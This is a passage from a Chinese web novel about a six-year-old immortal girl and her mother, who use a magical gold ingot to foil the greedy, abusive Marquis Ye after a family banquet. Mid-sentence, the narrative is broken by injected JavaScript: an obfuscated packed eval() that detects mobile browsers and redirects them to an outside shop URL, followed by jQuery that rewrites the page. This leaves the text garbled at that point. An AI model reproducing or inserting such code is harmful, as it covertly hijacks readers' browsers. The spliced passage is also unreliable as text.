金鼎元望向田明瑾,却见田明瑾正好也望着他。
老两口在对望的眼神中,互相微微点头。
他们看懂了彼此的想法:
女婿还是可以调教的,千万不能让女儿有和离的想法。
叶志勤一听岳父岳母要找时间来忠勇侯府,他心里就急得直打鼓。
原本岳父岳母来家里做客,也是无可厚非的。
可偏偏小金昭当众把桃林的事儿捅出来了,这会儿岳父岳母若是要上忠勇侯府。
那指定没别的事儿了,他俩一定是茶水都不喝、椅子也不坐,就直奔八卦镇魂桃林而去。
一想到这儿,叶志勤不自觉地,后背便开始冒冷汗。
偏偏这时候,小金昭还一边啃着鸡腿,一边不忘奚落忠勇侯:
“侯爷爹爹。您倒是说说看,等姥姥、姥爷去侯府玩儿的时候,那片桃林,还在是不在呢?”
金鼎元暗暗在心里给小金昭竖起大拇指,因为他作为长辈,有些话,其实是不太方便说的。
小金昭就不一样了,童言无忌,小娃娃什么都能说得。
这孩子就是这么聪明,说出的每一句话,都是金鼎元和田明瑾,不好意思直说的话。
小萌娃美滋滋地啃着鸡腿;老两口眼睛亮晶晶地盯着叶志勤看;金玥帆看似神情冷漠,实则双耳竖立着。
所有人,都在等着叶志勤给个准话。
那叶志勤哪儿敢说啊,他要说桃林不在了,那不是明显的毁尸灭迹吗?
他要说桃林还在,那眼前这群人能不进去,看看里头的啥玩意儿吗?
横竖桃林这事儿,恐怕是糊弄不过去了。
不过叶志勤多年来混迹官场,那说场面话的功力也还是有的。
他坐直了身板,露出得体的笑容,像官方发言似的说道:
“首先,小婿非常欢迎岳父岳母大人,到侯府来指导我们。”
“关于桃林的事,试问这京城里,谁家府上还没种个景观树林呢?”
“种个桃林,并没有什么可稀奇的。实在不值得岳父岳母大人劳了大驾,还亲自去看。”
“至于昭昭说的什么八卦镇魂图,那纯属孩童戏言。”
“岳父大人您看看,小昭昭个头才多高,她一个六岁的小娃娃,哪可能看见整片桃林的形状呢?”
叶志勤认认真真地解释着,也不回避,瞧着好一幅君子坦荡荡的模样。
但是小金昭可不好糊弄,她放下手中的鸡腿,说道:
“侯爷爹爹,您说我个头不高。但我可以爬树啊。”
“我可爬到树上去,那别说看见整片桃林了,就是整个忠勇侯府,我也能瞧个一清二楚。”
叶志勤额角青筋微鼓,在场的除了小金昭是个小孩,其他但凡是个成年人,都能看出来叶志勤被一个小孩儿给刁难了。
“哪儿能呢,昭昭宝贝儿别胡说”叶志勤心里骂得可难听了,但脸上还得作出灿烂笑容,说道:
“小孩子不懂事,那府里的各种摆设,都是有讲究的。”
“莫说小孩子不懂,就是大人,若非行家,谁也不说不清楚那桃林的格局呀,是不是?”
小金昭眼神里亮晶晶的,小嘴一张就想说,那就找个行家看看呗。
但凡稍微懂一点儿的,都能看出来,那就是个八卦镇魂图的形状。
可小金昭才刚要开口说话,就被金鼎元用山楂糕堵住了小嘴。
金鼎元哈哈笑着说道:
“宝贝小调皮,吃个山楂糕吧。别说话了。”
金鼎元的想法很简单,他觉得小金昭已经把忠勇侯府存在的问题当众点出来了,就没必要一直逼着叶志勤立刻去承认些什么。
毕竟大庭广众之下,忠勇侯是他们名正言顺的女婿,这面子和里子还是要顾的。
诚然他们已经发现了女婿存在问题,但是存在问题可以改啊,别急急忙忙把人往绝路里赶。
将来女儿和孙女还得在忠勇侯府里过完下半生呢,可不好动不动就把关系闹僵了。
金鼎元毕竟要更世俗一点。
不像小金昭那样的神仙,她就不屑于跟叶志勤这样的人,去走人间那一套。
不过小金昭也明白了金鼎元的想法,行吧,姥爷意思别说了,小金昭便乖乖地吃起山楂糕。不给叶志勤面子,也得给姥爷面子啊。
反正那片桃林是跑不掉的,呵呵呵。
果不其然叶志勤此时已经在心里盘算着,如何在岳父岳母上访忠勇侯府之前,把那片桃林处理掉。
处理桃林是小事,重点是镇魂井里藏着的那个东西,一时半会儿的,该往哪儿放呢?
所以叶志勤打心眼儿里,就看不上金府这样的商贾之家。
官宦之家讲究食不言寝不语,吃饭的时候就不该说话。
而商贾之家,则恰恰相反。要知道,很多大生意,是在饭局上谈出来的。
因此商贾之家不介意在吃饭的时候,通过语言,去联络感情什么的。
世家之间的规矩,处处不一样。这让叶志勤十分难受。
尤其金府的女人和孩子,地位明显是很高的。
金鼎元作为一个大男人,同样是一家之主,却处处宠溺着女人和孩子。一点男人的威严都没有。
哪像忠勇侯府的女人,嫁进来第一天就先钻男人裤.裆,一辈子被男人骑在身下,不得翻身。
叶志勤看着金府的女人,真是感觉反了天了简直。
宾客们逐渐散场离席。
好好一顿回门宴,明明满桌皆是珍馐佳肴,但叶志勤却实在吃得不是滋味。
不过叶志勤也想开了,他嘴角勾起一抹淡笑,横竖金玥帆已经是他的夫人了,往后有的是日子去调教她。
三朝回门毕竟只是一天,时间差不多了,金玥帆仍是要跟叶志勤回忠勇侯府的。
金府大门口处。
叶志勤微微欠着身子,轻柔地扶着金玥帆,眼神和动作间,都满是呵护的模样。
他算是看出来了,金鼎元和田明瑾都喜欢看自己伺候他们的女儿。
他还是能作出点样子来的,谁叫金家一家子都是财神爷,要想得到点回馈,叶志勤必须得投其所好。
金玥帆根本就不想让叶志勤挨着自己。
但她不想在父母面前,跟叶志勤闹得太难看,今天这一趟下来,她已经够烦的了。
既然叶志勤想当下人,她也不介意把他当作戏文里的太监那般,就那么扶着。
金鼎元说道:……
“贤婿啊,你有这份心,老丈人我真是满心感动啊。”金鼎元说着便朝着身侧拍了拍手。
只见金千刀领着一支抬着宝箱的队伍,浩浩荡荡出来了。
叶志勤一看这个架势,他就知道自己赌对了。
先前他和金千刀商量着先从金府库房里“预支”黄金、白银各三千两,当作叶志勤送给金府的回门礼。
叶志勤向来知道金鼎元无比大方,自己送出去多少,金鼎元定会加倍还给自己。
看眼前的宝箱队伍,叶志勤在心里估摸着,金鼎元的回礼至少在黄金、白银各一万两以上。
财神爷就是财神爷,随便一挥手那钱都跟山一样。
只要叶志勤从金鼎元给的回礼中,把先前“预支”的黄金、白银各三千两,还回给金千刀,让他放回金府库房里。
那便等于叶志勤一分钱没出,白白从金府得到黄金、白银至少各七千两。
金千刀看着叶志勤的眼神,颇有几分尴尬,他很想解释一句,方才临阵脱逃,实在情非得已,他不立刻去想办法把库房填上,后头麻烦可就大了。
两个大男人眼神对视了一下,又马上望向别处。
叶志勤怕别人看出他和金千刀有私;金千刀怕叶志勤责怪自己大男人没有担当。
于是两人不约而同地选择回避对方视线。
这般奇怪的眼神触动,金鼎元看在眼里,却没有明说出来。
这就是他安排金千刀带宝箱队伍的原因,女婿和他大舅子就算再不熟悉,也不必眼神闪躲吧……
金鼎元察觉不对劲,但,这也不能作为两人有什么特殊关系的证据。
也许两人曾经撞破对方的尴尬事儿,所以不好意思了,那也未可得知。
他笑着继续说道:
“贤婿啊,这礼尚往来,也是我们的一份心意。你和玥帆,要好好过日子,珍惜彼此。”
金鼎元看了一眼自己那美丽、高傲而又骄纵的女儿,又笑着转过脸对叶志勤说:
“我们玥帆好啊,她虽不会洗手作羹汤,但她会赚钱。”
“你待她好,她便会加倍对你好。”
“贤婿,你可多上些心。往后日子久了,你便知道我们玥帆和昭昭,那可是千好万好的。”
叶志勤面上笑得就像一幅冰封的画面,他从未见过如此不要脸的老父亲、臭寡妇还有拖油瓶。
他在心里暗暗骂道:
谁家老丈人,都是谦虚地说自己女儿不好,要女婿多担待、多迁就、多包容……
金鼎元倒好,反口把自己的女儿一顿夸。
什么千好万好……一个寡妇加一个拖油瓶,谁要啊?
若不是自己牺牲了终生幸福娶了他女儿,他女儿现在还是个人人看不起的臭寡妇,还有一个克父的拖油瓶。这俩王炸加在一起,说一句横行天下都不为过。
叶志勤脸上笑嘻嘻,心里骂骂批,口中还要欢喜地说道:
“岳父大人说的是啊,能娶到玥帆,那是小婿前世修来的福气啊。”
谁对财神爷不说好话,那是他傻。叶志勤肯定得跟这一家子财神爷把好话说尽了。
金鼎元爽朗地笑了几声,从怀里掏出一把小钥匙。
叶志勤见着那小钥匙,瞬间双眼放光。
他知道,这钥匙就是眼前这批宝箱的通用钥匙,只要有了这把钥匙,眼前的黄金白银,全都是自己的了。
“诶”叶志勤连忙弯下腰,送上双手,嘴里说着:
“承蒙岳父大人厚爱,小婿恭敬不如从命。”
金鼎元笑起来就跟弥勒佛一般,亲切和蔼,可当他即将把钥匙放进叶志勤手心时,他忽然想起什么似的,停顿了一下,说道:
“哎呀,贤婿,我忽然想起来了。你的手……不稳啊。”
“女人的手就没话说,但男人的手,可不能不稳呐”
叶志勤的笑容僵硬在脸上。
他不相信金玥帆的小手能比自己的稳到哪里去,什么叫“女人的手就没话说”?和着男人的手不稳就是大罪了?
这公平吗?
金鼎元拿着钥匙,转身就交给了金玥帆,道:
“哦,你们夫妻俩本就是一体的。给你和给玥帆都是一样的。玥帆会帮你赚大钱的。”
金玥帆将小钥匙握在手里,眼神冷傲地瞄了一眼叶志勤,似乎是带着一丝不易察觉的笑意,但仔细看,又没有笑。
金玥帆知道叶志勤打的什么算盘,这算盘落空了,想必他的心里一定很失望吧。
叶志勤心里确实是失望的,而且他如果不能拿到这些宝箱,那也就意味着:
之前他让金千刀从金府库房里“预支”的黄金、白银各三千两,就不能从回礼里扣回去,得自己掏腰包还回去了。
想到这儿,叶志勤心里就直抽抽。
但是,经过今日这段时间的观察来看,岳父大人明显就是偏心金玥帆的。
即便岳父大人白日里曾经刻意安排,让这对新婚夫妻有在牡丹园独处的时间,但这并不意味着岳父大人就是站在男人这一边的。
田明瑾又与金玥帆说了几句体己话,便拉着金鼎元退回府中。
毕竟女儿已经出嫁,应当让她学会自己去经营小家庭。老两口也需要给小两口更多的空间。
此时天色已经逐渐进入黄昏,日光斜斜地照在金玥帆身上:
丽人身披斜阳,宛若茜纱拢玉,身段丰纤合度,行止间似柳拂春水,眼眸一转便漾开满目霞辉。
叶志勤一时看呆了眼。是了,眼前的美人是自己娶进门的夫人,要跟自己过日子的人,是她,又不是金鼎元。
拿捏不了金鼎元,还能拿捏不住金玥帆一个弱女子吗?
待今夜天黑了,将房门一关,把美人往床上一扔……
嘿嘿嘿,只要拿下了金玥帆,叫她怀上孩子。那些堆得像山一样的金银财宝,不全都是自己的吗?
叶志勤心里想得美,却忽然听得一声小奶音,萌凶萌凶地吼道:
“看什么看?!”
高大的男人一低头,那个小小的萌娃才堪堪到他腹部,却已双手叉腰,漂亮的眼睛瞪得溜圆,活脱脱像一只气炸了毛的、又凶又美的小兽。
叶志勤居高临下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548589|204257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地看着眼前的小萌娃,眼神里闪过一丝寒光。
方才岳父岳母在场,且护短护得厉害,让叶志勤憋屈了一整天。
现下,岳父岳母已经离去,这三口之家里,最大的就是自己这个男人,女人和孩子不过是他的附属品!
想到饭桌上,小金昭就着桃林那八卦镇魂的事儿,不断逼问自己,叶志勤就气得额头青筋暴现。
“你这吃里扒外的小兔崽子,我是你爹!”叶志勤高声呵斥着小金昭,当即便举起大手,用力地朝小娃娃脑袋上扇去!
金玥帆见势,心一下子提到了嗓子眼,她下意识地便抱住小金昭,将孩子护在怀里,用自己的身子去抵挡叶志勤的暴力袭击。
小萌娃的眼眸透过金玥帆的身侧闪过一道冷光。
只见大金元宝腾空飞起,一下子砸中叶志勤的手掌心。
叶志勤“嗷呜”一声痛叫,另一只手捂着自己受伤的手掌,疼得原地跳了几下,才依靠在马车边上,整个面部表情那叫一个龇牙咧嘴,十分狰狞。
小金昭歪着小脑袋,一脸天真地笑着,小奶音在不屑当中透露着一丝嘲弄:
“你好大的狗胆,福财神你都敢动手。”
金玥帆转过身一看,大金元宝又救了她一次,还特别兴奋似的,蹦蹦跳跳地跳进她怀里,邀功似的蹭了蹭。
像一只得意洋洋的小猫,向主人讨着要摸摸。
金玥帆这会儿真的确定了,这金元宝不是一般的物件,他似乎有自己的思想。
她试探性地伸出手,像抚摸小猫的背部一般,轻抚着金元宝。
金元宝开心极了,浑身金光灿灿的,一闪一闪特别好看。
小金昭笑着对金玥帆说:
“娘亲,大金子喜欢你。”
“真的吗?”金玥帆有些不可思议,世间竟真有如此神奇的法器。
她将金元宝抱在怀里,像抱小猫一般,用手指轻轻逗弄金元宝的小角角。
大金子像被挠痒似的,浑身颤抖着在金玥帆左右翻滚。
如果它发出的声音能让人类听见,那就是“哈哈”大笑。
小金昭觉着有意思,也跟着娘亲一起给大金子挠痒痒。
大金子笑得肚子疼,嘴上连连求饶:
“快停下~快停下~哈哈哈~”
母女俩一大一小逗着大金子玩儿,全然把方才凶神恶煞一般的叶志勤忘得一干二净。
“走吧娘亲,我们进马车里去吧。”小金昭说着便将娘亲拉进了马车。
母女俩才刚进马车,马车便直接走了,彻底将一脸蒙圈的叶志勤遗忘在原地。
叶志勤这才反应过来,立刻追上前去,在马车后头喊道:
“等等!我还没上车!”
就连载着宝箱的马车队伍,也没有一辆愿意停下带一带叶志勤。
叶志勤追着马车队伍跑了一会儿,很快队伍最后一辆马车也离他远去,他才撑着膝盖,站在原地气喘吁吁地骂道:
“毒妇……简直就是毒妇!我今晚不玩死你,我就不姓叶!”
忠勇侯向来都是仪表堂堂,却被金玥帆母女气得骂出了脏话。
叶志勤骂完了,才注意到,他骑出来的千里马,不知什么时候,已经站在他身边,一脸嫌弃地看着他。
叶志勤自己也知道自己今天特别倒霉,早晨骑马出来的时候,身上就沾满了马蹄扬起来的狗粪泥土。
“我还真就不信这个邪了!本侯爷还能一直这么倒霉么?”
他抓住缰绳,腿一抬便要上马,却忽然听得“撕拉”一声,裤.裆处竟裂开一条大口子。
“哎呀!”马背上的叶志勤惊呼一声,连忙下意识地夹紧双腿,生怕走光。
路过的行人看着叶志勤竟然夹着腿坐在马背上,不禁开始指指点点:
“诶,你看那个男人,他怎么坐姿那么娘?”
“该不会是个太监吧?”
那些闲言碎语,叶志勤一字不漏地全都听了去。
可偏生此时,他裤.裆破裂,处境十分尴尬。他怕千里马跑快了,裤.裆会裂得更严重,
无奈之下,他只能继续夹着双腿,让马儿慢悠悠地走着,那姿势别提多别扭了。
马车中。小金昭掀开帘子,远远瞧着叶志勤的窘态,忍不住掩嘴窃笑。
金玥帆像安抚宠物一般,轻抚着怀里的金元宝,对小金昭说道:
“昭昭,你跟娘亲说实话,你从哪儿得来的这锭金元宝法器?”
小金昭托着腮帮子想了好久,她的原身来自一座人世间最大的金矿,而她是金矿里锻造出来的最大的金子。
没错,小金昭飞升前的原身,就是一锭大金子。
她印象中,自己被锻造出来的时候,大金子法器就一直跟着自己,算是自己的发小吧。
思来想去,小金昭蹦出了一句话:
“这金元宝法器,是我捡来的。”嗯,就这么说,错不了。
“哦?你从哪儿捡来这么个宝贝?”金玥帆对金元宝法器的来历十分好奇。
实在太久了,小金昭觉得自己也说不清楚,于是便摇头晃脑,软萌软萌地说:
“我也不记得了。可能是哪一路神仙送我的吧。”
“不过我知道,大金子是好的,它可大可小、会通人性,可以保护娘亲。”
小金昭眼神里亮晶晶的,她庆幸自己有大金子这个好法宝,不然自己不在娘亲身边的时候,叶志勤那个大尾巴狼肯定要使坏的。
金玥帆见小萌娃自己也说不清楚,金元宝法器的来历,便不再继续这个话题了。
想到回门宴上,小金昭对叶志勤步步紧逼的话语,金玥帆不免有些担心。
毕竟孩子才六岁,竟这般会捉弄人了。
她将小金昭抱在腿上,柔声对她说:
“好昭昭,我们任何时候,都不要忘记审时度势。”
“我们得势的时候该张扬便张扬,不必看人脸色。但倘若我们处于弱势,你可不能在说话的时候处处不饶人,知道吗?”
小金昭当了数千年神仙,从来都是她照顾别人,这一次却是被娘亲照顾着。
想到娘亲在叶志勤要伤害自己时,用她的身体保护着自己,小萌娃眼眶里就热乎乎的。
她感觉到娘亲的怀抱暖暖的,有娘的孩子真是宝。
小萌宝钻进娘亲的怀里,温暖地说道:……